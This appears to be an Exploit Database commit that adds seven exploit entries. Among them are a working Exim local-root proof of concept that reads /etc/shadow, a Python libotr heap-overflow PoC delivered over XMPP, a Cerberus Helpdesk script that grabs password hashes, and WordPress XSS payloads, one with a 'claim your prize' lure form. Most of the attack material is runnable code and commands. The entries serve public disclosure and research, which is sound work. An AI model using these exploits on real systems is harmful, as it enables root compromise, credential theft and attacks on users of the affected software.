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7 new exploits
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Offensive Security 2016-03-11 05:02:50 +00:00
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@ -35763,6 +35763,7 @@ id,file,description,date,author,platform,type,port
39523,platforms/windows/local/39523.rb,"AppLocker Execution Prevention Bypass",2016-03-03,metasploit,windows,local,0
39524,platforms/php/webapps/39524.js,"ATutor LMS install_modules.php CSRF Remote Code Execution Vulnerability",2016-03-07,mr_me,php,webapps,0
39525,platforms/win64/local/39525.py,"Microsoft Windows - AFD.SYS Privilege Escalation (MS14-040) Win7x64",2016-03-07,"Rick Larabee",win64,local,0
39526,platforms/php/webapps/39526.sh,"Cerberus Helpdesk (Cerb5) 5 - 6.7 - Password Hash Disclosure",2016-03-07,asdizzle_,php,webapps,80
39529,platforms/multiple/dos/39529.txt,"Wireshark - wtap_optionblock_free Use-After-Free",2016-03-07,"Google Security Research",multiple,dos,0
39530,platforms/windows/dos/39530.txt,"Avast - Authenticode Parsing Memory Corruption",2016-03-07,"Google Security Research",windows,dos,0
39531,platforms/windows/local/39531.c,"McAfee VirusScan Enterprise 8.8 - Security Restrictions Bypass",2016-03-07,"Maurizio Agazzini",windows,local,0
@ -35779,3 +35780,9 @@ id,file,description,date,author,platform,type,port
39543,platforms/linux/dos/39543.txt,"Linux Kernel - cdc_acm Nullpointer Dereference",2016-03-09,"OpenSource Security",linux,dos,0
39544,platforms/linux/dos/39544.txt,"Linux Kernel - aiptek Nullpointer Dereference",2016-03-09,"OpenSource Security",linux,dos,0
39545,platforms/linux/dos/39545.txt,"Linux - netfilter IPT_SO_SET_REPLACE Memory Corruption",2016-03-09,"Google Security Research",linux,dos,0
39546,platforms/windows/dos/39546.txt,"Nitro Pro <= 10.5.7.32 & Nitro Reader <= 5.5.3.1 - Heap Memory Corruption",2016-03-10,"Francis Provencher",windows,dos,0
39547,platforms/php/webapps/39547.txt,"WordPress Best Web Soft Captcha Plugin <= 4.1.5 - Multiple Vulnerabilities",2016-03-10,"Colette Chamberland",php,webapps,80
39548,platforms/php/webapps/39548.txt,"WordPress WP Advanced Comment Plugin 0.10 - Persistent XSS",2016-03-10,"Mohammad Khaleghi",php,webapps,80
39549,platforms/linux/local/39549.txt,"Exim < 4.86.2 - Local Root Privilege Escalation",2016-03-10,"Dawid Golunski",linux,local,0
39550,platforms/multiple/dos/39550.py,"libotr <= 4.1.0 - Memory Corruption",2016-03-10,"X41 D-Sec GmbH",multiple,dos,0
39551,platforms/multiple/dos/39551.txt,"Putty pscp <= 0.66 - Stack Buffer Overwrite",2016-03-10,tintinweb,multiple,dos,0

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platforms/linux/local/39549.txt Executable file
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=============================================
- Release date: 10.03.2016
- Discovered by: Dawid Golunski
- Severity: High
=============================================
# Exploit Title: Exim < 4.86.2 Local Root Privilege Escalation
# Google Dork: [if applicable]
# Date: 10.03.2016
# Exploit Author: Dawid Golunski
# Vendor Homepage: www.exim.org
# Version: [app version] < 4.86.2
# Tested on: CentOS
# CVE : CVE-2016-1531
I. VULNERABILITY
-------------------------
Exim < 4.86.2 Local Root Privilege Escalation
II. BACKGROUND
-------------------------
"Exim is a message transfer agent (MTA) developed at the University of
Cambridge for use on Unix systems connected to the Internet. It is freely
available under the terms of the GNU General Public Licence. In style it is
similar to Smail 3, but its facilities are more general. There is a great
deal of flexibility in the way mail can be routed, and there are extensive
facilities for checking incoming mail. Exim can be installed in place of
Sendmail, although the configuration of Exim is quite different."
http://www.exim.org/
III. INTRODUCTION
-------------------------
When Exim installation has been compiled with Perl support and contains a
perl_startup configuration variable it can be exploited by malicious local
attackers to gain root privileges.
IV. DESCRIPTION
-------------------------
The vulnerability stems from Exim in versions below 4.86.2 not performing
sanitization of the environment before loading a perl script defined
with perl_startup setting in exim config.
perl_startup is usually used to load various helper scripts such as
mail filters, gray listing scripts, mail virus scanners etc.
For the option to be supported, exim must have been compiled with Perl
support, which can be verified with:
[dawid@centos7 ~]$ exim -bV -v | grep i Perl
Support for: crypteq iconv() IPv6 PAM Perl Expand_dlfunc TCPwrappers OpenSSL
Content_Scanning DKIM Old_Demime PRDR OCSP
To perform the attack, attacker can take advantage of the exim's sendmail
interface which links to an exim binary that has an SUID bit set on it by
default as we can see below:
[dawid@centos7 ~]$ ls -l /usr/sbin/sendmail.exim
lrwxrwxrwx. 1 root root 4 Nov 30 00:45 /usr/sbin/sendmail.exim -> exim
[dawid@centos7 ~]$ ls -l /usr/sbin/exim
-rwsr-xr-x. 1 root root 1222416 Dec 7 2015 /usr/sbin/exim
Normally, when exim sendmail interface starts up, it drops its root
privileges before giving control to the user (i.e entering mail contents for
sending etc), however an attacker can make use of the following command line
parameter which is available to all users:
-ps This option applies when an embedded Perl interpreter is linked with
Exim. It overrides the setting of the perl_at_start option, forcing the
starting of the interpreter to occur as soon as Exim is started.
As we can see from the documentation at:
http://www.exim.org/exim-html-current/doc/html/spec_html/ch-embedded_perl.html
the perl_at_start option does the following:
"Setting perl_at_start (a boolean option) in the configuration requests a
startup when Exim is entered."
Therefore it is possible to force the execution of the perl_startup script
defined in the Exim's main config before exim drops its root privileges.
To exploit this setting and gain the effective root privilege of the SUID binary,
attackers can inject PERL5OPT perl environment variable, which does not get
cleaned by affected versions of Exim.
As per perl documentation, the environment variable allows to set perl command-line
options (switches). Switches in this variable are treated as if they were on every
Perl command line.
There are several interesting perl switches that that could be set by attackers to
trigger code execution.
One of these is -d switch which forces perl to enter an interactive debug mode
in which it is possible to take control of the perl application.
An example proof of concept exploitation using the -d switch can be found below.
V. PROOF OF CONCEPT
-------------------------
[dawid@centos7 ~]$ head /etc/exim/exim.conf
######################################################################
# Runtime configuration file for Exim #
######################################################################
# Custom filtering via perl
perl_startup = do '/usr/share/exim4/exigrey.pl'
[dawid@centos7 ~]$ exim -bV -v | grep -i Perl
Support for: crypteq iconv() IPv6 PAM Perl Expand_dlfunc TCPwrappers OpenSSL Content_Scanning DKIM Old_Demime PRDR OCSP
[dawid@centos7 ~]$ PERL5OPT="-d/dev/null" /usr/sbin/sendmail.exim -ps victim@localhost
Loading DB routines from perl5db.pl version 1.37
Editor support available.
Enter h or 'h h' for help, or 'man perldebug' for more help.
Debugged program terminated. Use q to quit or R to restart,
use o inhibit_exit to avoid stopping after program termination,
h q, h R or h o to get additional info.
DB<1> p system("id");
uid=0(root) gid=10(wheel) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
0
DB<2> p system("head /etc/shadow");
root:$5$afgjO3wQeqHpAYF7$TmL0[...]AYAAvbA:16682:0:99999:7:::
bin:*:16372:0:99999:7:::
daemon:*:16372:0:99999:7::
[...]
VI. BUSINESS IMPACT
-------------------------
This vulnerability could be exploited by attackers who have local access to the
system to escalate their privileges to root which would allow them to fully
compromise the system.
VII. SYSTEMS AFFECTED
-------------------------
Exim versions before the latest patched version of Exim 4.86.2 are be
affected by this vulnerability, if Exim was compiled with Perl
support and the main configuration file (i.e /etc/exim/exim.conf or
/etc/exim4/exim.conf), contains a perl_startup option e.g:
perl_startup = do '/usr/share/exim4/exigrey.pl'
It is important to note that the file does not necessarily have to exist
to exploit the vulnerability. Although the path must be specified.
VIII. SOLUTION
-------------------------
Update to Exim 4.86.2 which contains the official patch that fixes the
environment sanitization issues.
IX. REFERENCES
-------------------------
http://legalhackers.com/advisories/Exim-Local-Root-Privilege-Escalation.txt
http://www.exim.org/
http://www.exim.org/static/doc/CVE-2016-1531.txt
http://www.exim.org/exim-html-current/doc/html/spec_html/ch-embedded_perl.html
X. ADVISORY CREATED BY
-------------------------
This advisory has been created by Dawid Golunski
dawid (at) legalhackers (dot) com
legalhackers.com
XI. REVISION HISTORY
-------------------------
March 10th, 2016: Advisory released
XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. I accept no
responsibility for any damage caused by the use or misuse of this information.

554
platforms/multiple/dos/39550.py Executable file
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'''
X41 D-Sec GmbH Security Advisory: X41-2016-001
Memory Corruption Vulnerability in "libotr"
===========================================
Overview
--------
Severity Rating: high
Confirmed Affected Version: 4.1.0 and below
Confirmed Patched Version: libotr 4.1.1
Vendor: OTR Development Team
Vendor URL: https://otr.cypherpunks.ca
Vendor Reference: OTR Security Advisory 2016-01
Vector: Remote
Credit: X41 D-Sec GmbH, Markus Vervier
Status: public
CVE: CVE-2016-2851
CVSS Score: 8.1 (High)
CVSS Vector: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Advisory-URL: https://www.x41-dsec.de/lab/advisories/x41-2016-001-libotr/
Summary and Impact
------------------
A remote attacker may crash or execute arbitrary code in libotr by
sending large OTR messages.
While processing specially crafted messages, attacker controlled data on
the heap is written out of bounds.
No special user interaction or authorization is necessary in default
configurations.
Product Description
-------------------
Off-the-Record (OTR) Messaging is a cryptographic protocol used in
well-known instant messaging clients such as Pidgin, ChatSecure, Adium
and others. It is designed to work on top of existing protocols and used
worldwide to provide secure communication in insecure environments.
OTR is regarded as highly secure and according to documents revealed by
Edward Snowden one of the protocols that the NSA is not able to decrypt
via cryptanalysis.
The most commonly used implementation of OTR is "libotr" which is a pure
C code implementation of the OTR protocol.
Analysis
--------
During a manual code review X41 D-Sec GmbH discovered a remotely
exploitable vulnerability in libotr.
By sending large messages, an integer overflow can be triggered which
subsequently leads to a heap overflow on 64 bit architectures.
When a message of type OTRL_MSGSTATE_DATA is received during an
established OTR conversation, this message is passed to function
otrl_proto_accept_data in src/message.c line 1347:
case OTRL_MSGSTATE_ENCRYPTED:
extrakey = gcry_malloc_secure(OTRL_EXTRAKEY_BYTES);
err = otrl_proto_accept_data(&plaintext, &tlvs, context,
message, &flags, extrakey);
After base64 decoding the message and reading various values from it,
the length of a payload is read into a variable of type "unsigned int"
in file proto.c line 784:
read_int(datalen);
It is checked that the message buffer will contain at least a "datalen"
number of bytes using read_int in proto.c line 785:
require_len(datalen);
The macros "read_int" and "required_len" are defined in src/serial.h:
#define require_len(l) do { \
if (lenp < (l)) goto invval; \
} while(0)
#define read_int(x) do { \
require_len(4); \
(x) = (((unsigned int)bufp[0]) << 24) | (bufp[1] << 16) | (bufp[2] <<
8) | bufp[3]; \
bufp += 4; lenp -= 4; \
} while(0)
4 bytes are read from the message buffer and interpreted as unsigned int
value.
Subsequently a buffer of size datalen+1 is allocated using malloc
in proto.c line 786:
data = malloc(datalen+1);
if (!data) {
err = gcry_error(GPG_ERR_ENOMEM);
goto err;
}
Now data from the message is copied into this buffer using memmove in
line 791:
memmove(data, bufp, datalen);
The vulnerability is triggered if a value of 0xFFFFFFFF (MAX_UINT) is
read from the message buffer. As datalen is of size 32-bit (unsigned
int) the operation "datalen+1" will wrap around before being passed to
malloc.
This will effectively result in a zero allocation ( malloc(0) ) which is
valid in common implementations of malloc on the x86_64 architecture.
As no addition is done in the value passed to the call to memmove, 4
gigabytes of data are copied out of bounds to the heap location pointed
to by data.
Proof of Concept
----------------
In order to successfully trigger the vulnerability, an attacker must be
able to send a data message of more than 5.5 gigabytes to a victim in
order to pass the check "require_len(datalen)".
Due to the support of fragmented OTR messages assembled by libotr this
is possible in practice. By sending 275 messages of size 20MB each, X41
was able to make libotr process such a data message successfully on a
system with 8GB of ram and 15GB of swap space.
As data types for lenp and other lengths of the message are 64 bit large
size_t types on x86_64 architectures huge messages of multiple gigabytes
are possible.
Sending such a message to a pidgin client took only a few minutes on a
fast network connection without visible signs of any attack to a user.
A proof of concept triggering a heap overwrite and crash in the
pidgin-otr plugin for the popular pidgin messenger on x86_64 Linux
architectures is available[1].
The crash occurs due to the overwrite hitting unmapped memory. Using
techniques such as heap grooming, X41 was able to inflate the heap to
more than 4GB and overwrite function pointers and arguments on the heap
in order to take over control flow. A working exploit will not be
published at this time.
Interaction by users beyond having enabled OTR is not necessary as OTR
sessions are automatically established with anyone by default in Pidgin
and other common software using libotr. This also applies to
unauthorized contacts in most default configurations.
Workarounds
-----------
As a temporary workaround on Linux and BSD systems, the amount of memory
available to the process running libotr may be limited to less than 4GB
via ulimit.
About X41 D-Sec GmbH
--------------------
X41 D-Sec is a provider of application security services. We focus
on application code reviews, design review and security testing. X41
D-Sec GmbH was founded in 2015 by Markus Vervier. We support customers
in various industries such as finance, software development and public
institutions.
Timeline
--------
2016-02-17 Discovery during a manual code review of "libotr" version 4.1.0
2016-02-17 Initial PoC
2016-02-18 Vendor contacted
2016-02-18 Vulnerability confirmed by vendor
2016-03-03 Vendor patch available
2016-03-04 CVE requested
2016-03-06 CVE-2016-2851 assigned
2016-03-09 Embargo lifted and disclosure
References
----------
[1]
https://www.x41-dsec.de/lab/advisories/x41-2016-001-libotr/otr-heap-overwrite-poc.py
'''
#!/usr/bin/python -u
#
### PoC libotr heap overwrite on Pidgin
### 2016-02-17 Markus Vervier
### X41 D-Sec GmbH
### initial code taken from pyxmpp examples (echobot.py)
### PoC was tested using a standard Prosody XMPP-Server on Arch-Linux allowing 20MB sized messages by default (and even larger)
### On a loopback interface the exploit took several minutes,
### using XMPP stream compression this could be reduced massively
### pyxmpp does not support it
### We used XMPP connections without TLS to not further complicate the setup
### USAGE
###
### Prerequisite: 2 Jabber Accounts (attacker, victim), set Ressource of attacker to "attacktest"
### 1. Initiate an encrypted session from attacker-account to victim-account (e.g. using pidgin)
### 2. Disconnect the attacker account
### 3. Fire up this script and let it connect with the attacker account credentials
### 4. Send a message from victim to attacker
### 5. Wait until message sending is complete, pidgin should crash
### !!! Steps 2-5 (and especially user interaction) are only necessary for this PoC
### !!! If we would implement full OTR in this script we could send the bad message directly
### !!! For easier PoC we now wait until an encrypted message is received to get the correct instance tags
import sys
import logging
import locale
import codecs
import os, signal
import time
import base64
def ignore_signal_pipe(signum, frame):
print 'signal pipe caught -- IGNORING'
signal.signal(signal.SIGPIPE, ignore_signal_pipe)
from struct import *
from pyxmpp.all import JID,Iq,Presence,Message,StreamError
from pyxmpp.jabber.client import JabberClient
from pyxmpp.interface import implements
from pyxmpp.interfaces import *
from pyxmpp.streamtls import TLSSettings
from enum import Enum
class EchoHandler(object):
"""Provides the actual 'echo' functionality.
Handlers for presence and message stanzas are implemented here.
"""
implements(IMessageHandlersProvider, IPresenceHandlersProvider)
def __init__(self, client):
"""Just remember who created this."""
self.client = client
def get_message_handlers(self):
"""Return list of (message_type, message_handler) tuples.
The handlers returned will be called when matching message is received
in a client session."""
return [
("normal", self.message),
]
def get_presence_handlers(self):
"""Return list of (presence_type, presence_handler) tuples.
The handlers returned will be called when matching presence stanza is
received in a client session."""
return [
(None, self.presence),
("unavailable", self.presence),
("subscribe", self.presence_control),
("subscribed", self.presence_control),
("unsubscribe", self.presence_control),
("unsubscribed", self.presence_control),
]
def message(self,stanza):
"""Message handler for the component.
Echoes the message back if its type is not 'error' or
'headline', also sets own presence status to the message body. Please
note that all message types but 'error' will be passed to the handler
for 'normal' message unless some dedicated handler process them.
:returns: `True` to indicate, that the stanza should not be processed
any further."""
subject=stanza.get_subject()
body=stanza.get_body()
t=stanza.get_type()
m = 0
print u'Message from %s received.' % (unicode(stanza.get_from(),)),
if subject:
print u'Subject: "%s".' % (subject,),
if body:
print u'Body: "%s".' % (body,),
if t:
print u'Type: "%s".' % (t,)
else:
print u'Type: "normal".'
if stanza.get_type()=="headline":
# 'headline' messages should never be replied to
return True
# record instance tag
if body[:9] == u'?OTR:AAMD':
(self.instance_tag, self.our_tag) = self.parse_aamc(body[len("?OTR:AAMD"):])
print "parsed instance tag: %s and our tag %s" % (self.instance_tag.encode("hex"), self.our_tag.encode("hex") )
self.send_insane_otr(stanza, 1024*1024*20, self.instance_tag, self.our_tag)
return m
def b64maxlen(self, chars):
return 1 + (4 * chars / 3)
def parse_aamc(self, msg):
maxlen = self.b64maxlen(8) # 4 byte integer
print "maxlen %u" % (maxlen)
tmp = msg[0:maxlen]
padding = ""
if maxlen % 4 > 1:
padding = "="*(4-(maxlen % 4))
tmp += padding
print "decoding: "+tmp
packed = base64.b64decode(tmp)
# return unpack("I", packed[0:4])
return (packed[0:4], packed[4:8]) # their tag, our tag
def initial_body(self, instance_tag, our_tag):
ret = "?OTR:AAMD";
raw = b''
print "packing initial block with instance tag: %s and our tag: %s" % (instance_tag.encode("hex"), our_tag.encode("hex"))
#dirty hack
raw += our_tag # sender_nstance_id
raw += instance_tag # receiver_id
raw += "D" # dummy flags
raw += pack("I", 0x1) # sender key id
raw += pack("I", 0x2) # recipient key id
raw += pack("!I", 10) # len next_y
raw += "B"*10 # next_y # we don't know how mpi works but it seems ok ;)
raw += "12345678" # reveal sig dummy
# yeah overflow!
raw += pack("I", 0xFFFFFFFF); # datalen
ret += base64.b64encode(raw+"A"*(57-len(raw)))
return ret
def send_insane_otr(self, stanza, frag_size, instance_tag, our_tag):
print "G-FUNK!"
# this should result in about 0xFFFFFFFF times "A" base64 encoded
len_msg = 5726623060
# fix frag size for base64
frag_size = (frag_size / 4) * 4
frag_msg = "QUFB"*(frag_size / 4)
n = len_msg / frag_size
# does not evenly divide?
if len_msg % frag_size > 0:
n += 1
k = 1
n += 1 # initialbody adds another frame
initialbody = "?OTR,%hu,%hu,%s," % (k , n , self.initial_body(instance_tag, our_tag))
print "first fragment: "+initialbody
m = Message(
to_jid=stanza.get_from(),
from_jid=stanza.get_to(),
stanza_type=stanza.get_type(),
subject="foo",
body=initialbody)
self.client.stream.send(m)
k += 1
print "frag size: %s, len_msg: %u, num_frags: %u" % (frag_size, len_msg, n)
cur_pos = 0
while(cur_pos < len_msg):
body = "?OTR,%hu,%hu,%s," % (k , n , frag_msg)
m = Message(
to_jid=stanza.get_from(),
from_jid=stanza.get_to(),
stanza_type=stanza.get_type(),
subject="foo",
body=body)
print "cur_pos %u of %u" % (cur_pos, len_msg)
self.client.stream.send(m)
k += 1
cur_pos = frag_size * (k-2)
time.sleep(0.9)
print "FINAL FRAG: cur_pos %u of %u" % (cur_pos, len_msg)
def presence(self,stanza):
"""Handle 'available' (without 'type') and 'unavailable' <presence/>."""
msg=u"%s has become " % (stanza.get_from())
t=stanza.get_type()
if t=="unavailable":
msg+=u"unavailable"
else:
msg+=u"available"
show=stanza.get_show()
if show:
msg+=u"(%s)" % (show,)
status=stanza.get_status()
if status:
msg+=u": "+status
print msg
def presence_control(self,stanza):
"""Handle subscription control <presence/> stanzas -- acknowledge
them."""
msg=unicode(stanza.get_from())
t=stanza.get_type()
if t=="subscribe":
msg+=u" has requested presence subscription."
elif t=="subscribed":
msg+=u" has accepted our presence subscription request."
elif t=="unsubscribe":
msg+=u" has canceled his subscription of our."
elif t=="unsubscribed":
msg+=u" has canceled our subscription of his presence."
print msg
return stanza.make_accept_response()
class VersionHandler(object):
"""Provides handler for a version query.
This class will answer version query and announce 'jabber:iq:version' namespace
in the client's disco#info results."""
implements(IIqHandlersProvider, IFeaturesProvider)
def __init__(self, client):
"""Just remember who created this."""
self.client = client
def get_features(self):
"""Return namespace which should the client include in its reply to a
disco#info query."""
return ["jabber:iq:version"]
def get_iq_get_handlers(self):
"""Return list of tuples (element_name, namespace, handler) describing
handlers of <iq type='get'/> stanzas"""
return [
("query", "jabber:iq:version", self.get_version),
]
def get_iq_set_handlers(self):
"""Return empty list, as this class provides no <iq type='set'/> stanza handler."""
return []
def get_version(self,iq):
"""Handler for jabber:iq:version queries.
jabber:iq:version queries are not supported directly by PyXMPP, so the
XML node is accessed directly through the libxml2 API. This should be
used very carefully!"""
iq=iq.make_result_response()
q=iq.new_query("jabber:iq:version")
q.newTextChild(q.ns(),"name","Echo component")
q.newTextChild(q.ns(),"version","1.0")
return iq
class Client(JabberClient):
"""Simple bot (client) example. Uses `pyxmpp.jabber.client.JabberClient`
class as base. That class provides basic stream setup (including
authentication) and Service Discovery server. It also does server address
and port discovery based on the JID provided."""
def __init__(self, jid, password, tls_cacerts):
# if bare JID is provided add a resource -- it is required
if not jid.resource:
jid=JID(jid.node, jid.domain, "attacktest")
if tls_cacerts:
if tls_cacerts == 'tls_noverify':
tls_settings = TLSSettings(require = True, verify_peer = False)
else:
tls_settings = TLSSettings(require = True, cacert_file = tls_cacerts)
else:
tls_settings = None
# setup client with provided connection information
# and identity data
JabberClient.__init__(self, jid, password,
disco_name="PyXMPP example: echo bot", disco_type="bot",
tls_settings = tls_settings)
# add the separate components
self.interface_providers = [
VersionHandler(self),
EchoHandler(self),
]
def stream_state_changed(self,state,arg):
"""This one is called when the state of stream connecting the component
to a server changes. This will usually be used to let the user
know what is going on."""
print "*** State changed: %s %r ***" % (state,arg)
def print_roster_item(self,item):
if item.name:
name=item.name
else:
name=u""
print (u'%s "%s" subscription=%s groups=%s'
% (unicode(item.jid), name, item.subscription,
u",".join(item.groups)) )
def roster_updated(self,item=None):
if not item:
print u"My roster:"
for item in self.roster.get_items():
self.print_roster_item(item)
return
print u"Roster item updated:"
self.print_roster_item(item)
# XMPP protocol is Unicode-based to properly display data received
# _must_ convert it to local encoding or UnicodeException may be raised
locale.setlocale(locale.LC_CTYPE, "")
encoding = locale.getlocale()[1]
if not encoding:
encoding = "us-ascii"
sys.stdout = codecs.getwriter(encoding)(sys.stdout, errors = "replace")
sys.stderr = codecs.getwriter(encoding)(sys.stderr, errors = "replace")
# PyXMPP uses `logging` module for its debug output
# applications should set it up as needed
logger = logging.getLogger()
logger.addHandler(logging.StreamHandler())
logger.setLevel(logging.INFO) # change to DEBUG for higher verbosity
if len(sys.argv) < 3:
print u"Usage:"
print "\t%s JID password ['tls_noverify'|cacert_file]" % (sys.argv[0],)
print "example:"
print "\t%s test@localhost verysecret" % (sys.argv[0],)
sys.exit(1)
print u"creating client..."
c=Client(JID(sys.argv[1]), sys.argv[2], sys.argv[3] if len(sys.argv) > 3 else None)
print u"connecting..."
c.connect()
print u"looping..."
try:
# Component class provides basic "main loop" for the applitation
# Though, most applications would need to have their own loop and call
# component.stream.loop_iter() from it whenever an event on
# component.stream.fileno() occurs.
c.loop(1)
except IOError, e:
if e.errno == errno.EPIPE:
# IGNORE EPIPE error
print "PIPE ERROR -- IGNORING"
else:
pass
except KeyboardInterrupt:
print u"disconnecting..."
c.disconnect()
print u"exiting..."
# vi: sts=4 et sw=4

35
platforms/multiple/dos/39551.txt Executable file
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Source: https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-2563
Author: <github.com/tintinweb>
Date: Feb 20th, 2016
Name: putty
Vendor: sgtatham - http://www.chiark.greenend.org.uk/~sgtatham/putty/
Version: 0.59 [3] (~9 years ago) <= affected <= 0.66
Platform(s): win/nix
Technology: c
Vuln Classes: stack buffer overwrite (CWE-121)
Origin: remote
Min. Privs.: post auth
CVE: CVE-2016-2563
Summary
The putty SCP command-line utility (pscp) is missing a bounds-check for a stack buffer when processing the SCP-SINK file-size response to a SCP download request. This may allow a malicious server to overwrite the stack buffer within the client- application potentially leading to remote code execution.
PoC attached. patch attached.
Besides that, two minor issues have been reported in putty packet handling:
DoS condition in the parsing of SSH-Strings that lead to a nullptr read. (connect putty to poc.py and type x11exploit to trigger one of multiple occurrence of a crash, also works with x11forwarding disabled in putty)
DoS condition in the handling of unrequested forwarded-tcpip channels open requests that lead to a nullptr read. (connect putty to poc.py and type forwardedtcpipcrash to trigger crash)
Details
The vulnerable code is located in pscp.c [4] line 1498 (HEAD) and is based on an unbound sscanf string format descriptor storing an arbitrary length string in a 40byte fixed size stack buffer sizestr[40].
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39551.zip

38
platforms/php/webapps/39526.sh Executable file
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#!/bin/bash
#####################################################################################
# Exploit Title: Cerberus Helpdesk (Cerb5) Password Hash Grabbing #
# Date: 04.02.2016 #
# Exploit Author: asdizzle_ #
# Vendor Homepage: http://www.cerberusweb.com/ #
# Software Link: http://www.cerberusweb.com/downloads/cerb5/archive/cerb5-5_4_4.zip #
# Version: 5 - 6.7 #
# Tested on: Debian 8 / apache2 with cerb 5 #
#####################################################################################
# Prerequisites: #
# -At least one worker must be logged in #
# -/storage/tmp/ dir must be accessible #
# #
# If everything else fails try if there's directory listing in /storage/tmp #
# You might find attachments and even support tickets. #
#####################################################################################
url='http://172.16.15.137/cerb5/5.4.4' # Full url (without /index.php/ !)
pre='devblocks' # If this doesn't work try 'zend'
echo "[*] Trying to fetch cache file"
cachechk=$(curl -s $url"/storage/tmp/"$pre"_cache---ch_workers" | grep pass)
if [ -z "$cachechk" ];then
echo "[-] File not found."
exit
else
echo "[+] Found. Extracting..."
hashes=$(echo "$cachechk" | sed -e 's/s:5/\n/g' | grep email | cut -d '"' -f4,8 | sed 's/"/:/g')
if [ -z "$hashes" ];then
echo "[-] Hash extracting failed"
else
echo "[+] Extracting seems to have worked"
echo
echo "$hashes"
fi
fi

34
platforms/php/webapps/39547.txt Executable file
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* Exploit Title: BWS Captcha Multiple Vulnerabilities
* Discovery Date:12.03.2015
* Public Disclosure Date:03.10.2016
* Exploit Author: Colette Chamberland
* Contact: colette@wordfence.com
* Vendor Homepage: http://bestwebsoft.com/
* Software Link: https://wordpress.org/plugins/captcha/
* Version: <=4.1.5
* Tested on: Wordpress 4.2.x
* Category: Wordpress
* CVE: Requested but none received
Description
================================================================================
Unsanitized input in whitelist.php:
297: $message = __( 'Search results for', $this->textdomain ) . '&nbsp;:&nbsp;' . $_REQUEST['s'];
PoC
================================================================================
The variable can be passed in using a get as well as a post. An attacker
could send unsuspecting authenticated admin a url crafted like such:
http://wwww.victim.com/wp-admin/admin.php?page=captcha.php&action=whitelist&s=%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E
or they can send a form (no CSRF token check)
<form method="post" action="http://victim.com/wp-admin/admin.php?page=captcha.php&action=whitelist">
<input type="hidden" name="s" value="<script>alert(1);</script>">
<input type="submit" name="Search IP" value="Click here to claim your prize!">
</form>
and it would execute XSS as long as they were logged in to the site.

194
platforms/php/webapps/39548.txt Executable file
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1. Introduction
# Exploit Title: WordPress WP Advanced Comment 0.10 Persistent XSS
# Date: Mar.09.2016
# Exploit Author: Mohammad Khaleghi
# Contact: https://twitter.com/_blackmatrix
# Vendor: Ravi Shakya
# Tested On: Apache2.2 / PHP5 / Kali 64 / WordPress 4.4.1
# Category: Webapps
# Software Link: https://wordpress.org/support/plugin/wp-advance-comment
2. Description
WP Advanced Comment 0.10 plugin does not have XSS protection, which means that an attacker can change the POST request , value of " name="comment[meta_value]" " parameter , it's not escaped . XSS is visible for admin
File : wp-content\plugins\wp-advance-comment\shortcodes\comment-form.php
<!-- Show Comments -->
<?php
if( $option[$id]['other']['comment_position'] == 1 ){
echo $this->show_like_dislike_button( $value['comment_ID'] ,
$option[$id]['other'] , 'top' );
echo '<p>'.$value['comment_content'].'</p>';
echo $this->show_like_dislike_button( $value['comment_ID'] ,
$option[$id]['other'] , 'bottom' );
}?>
<!-- Get the comment meta -->
<?php
$data = get_option( 'wpad_comment_form' );
if( !empty( $data[$id] ) ):
?>
<div class="wpad_comment_meta">
<ul>
<?php
foreach( $data[$id] as $key => $value1 ){
$show_admin = isset($value1['show_admin']) ?
$value1['show_admin'] : 0; $privelage = $this->check_administrator( $show_admin );
if ( !empty( $value1['meta_key'] ) && is_numeric( $key ) && $value1['meta_key'] != 'user_name' && $value1
['meta_key'] != 'user_email' && $value1['custom_field'] != 'user_image' &&
$value1['meta_key'] != 'wpad_comment' && $privelage == true ) {
$meta_key = $value1['meta_key'];
$label = $value1['label'];
$meta_value = get_comment_meta( $value['comment_ID'] ,
$meta_key , true ); if( !empty( $meta_value ) ) {
if( $value1['custom_field'] == 'radio' ) {
$radio_value = $this->get_corresponding_metakey( $value1 , $meta_value , 'radio' );
$this->display_comment_metas_frontend( $label , $radio_value );
}
elseif ( $value1['custom_field'] == 'checkbox' ) {
$check_value = $this->get_corresponding_metakey( $value1 , $meta_value , 'checkbox');
$this->display_comment_metas_frontend( $label , $check_value ); }
else {
$this->display_comment_metas_frontend( $label , $meta_value );
}
}
}
}
?>
</ul>
</div>
<?php endif; ?>
<!-- Show Comments -->
3. Proof of Concept
Request :
__________________________________________________________________________
Host=127.0.0.1:8080
User-Agent=Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0
Accept=*/*
X-Requested-With=XMLHttpRequest
Referer=http://127.0.0.1:8080/wordpress/2016/02/02/hello-world/
Content-Length=1399
Content-Type=multipart/form-data;
boundary=---------------------------23741051518289624461916684164
Cookie=wordpress_5bd7a9c61cda6e66fc921a05bc80ee93=bourne %7C1455436892%7CVRgNbhd39pxXUlNXcCTkDnTbZTCudBIJlfSocx8yFWh %7C5a52d446b3c1782856a5021a38e5b1431297eca6fa81946694ebfdf305 994a84; wordpress_72672e10a1f0c9288ac55a4f4fc9805d=bourne %7C1455962074%7C0QblET9IPqz4apEnQsVq0WOUr7oY1EU25wIcKVKF4sY %7Cfeedc6beb6fc4d7fc7719fd1e45666b270f598a8294df146742750fd43 2ca5b3; wordpress_logged_in_5bd7a9c61cda6e66fc921a05bc80ee93=bourne %7C1455436892%7CVRgNbhd39pxXUlNXcCTkDnTbZTCudBIJlfSocx8yFWh %7C80f4e9b382b8b316ba8967a1651ea91cecc45300c13c754f528a17ade8 475032; wp-settings-time-1=1454782581; wp-settings-time-2=1454752438; wordpress_logged_in_72672e10a1f0c9288ac55a4f4fc9805d=bourne %7C1455962074%7C0QblET9IPqz4apEnQsVq0WOUr7oY1EU25wIcKVKF4sY %7C8ff14befe34a2a5f1c4c6d93123e6afce4af2c43272a0351f2ce9b1499 1c180f; wordpress_test_cookie=WP+Cookie+check
Connection=keep-alive
Pragma=no-cache
Cache-Control=no-cache
POSTDATA =-----------------------------23741051518289624461916684164
Content-Disposition: form-data; name="action"
wpad_save_comment
-----------------------------
23741051518289624461916684164 Content-Disposition: form-data; name="post_id"
1
-----------------------------
23741051518289624461916684164 Content-Disposition: form-data; name="form_id"
417
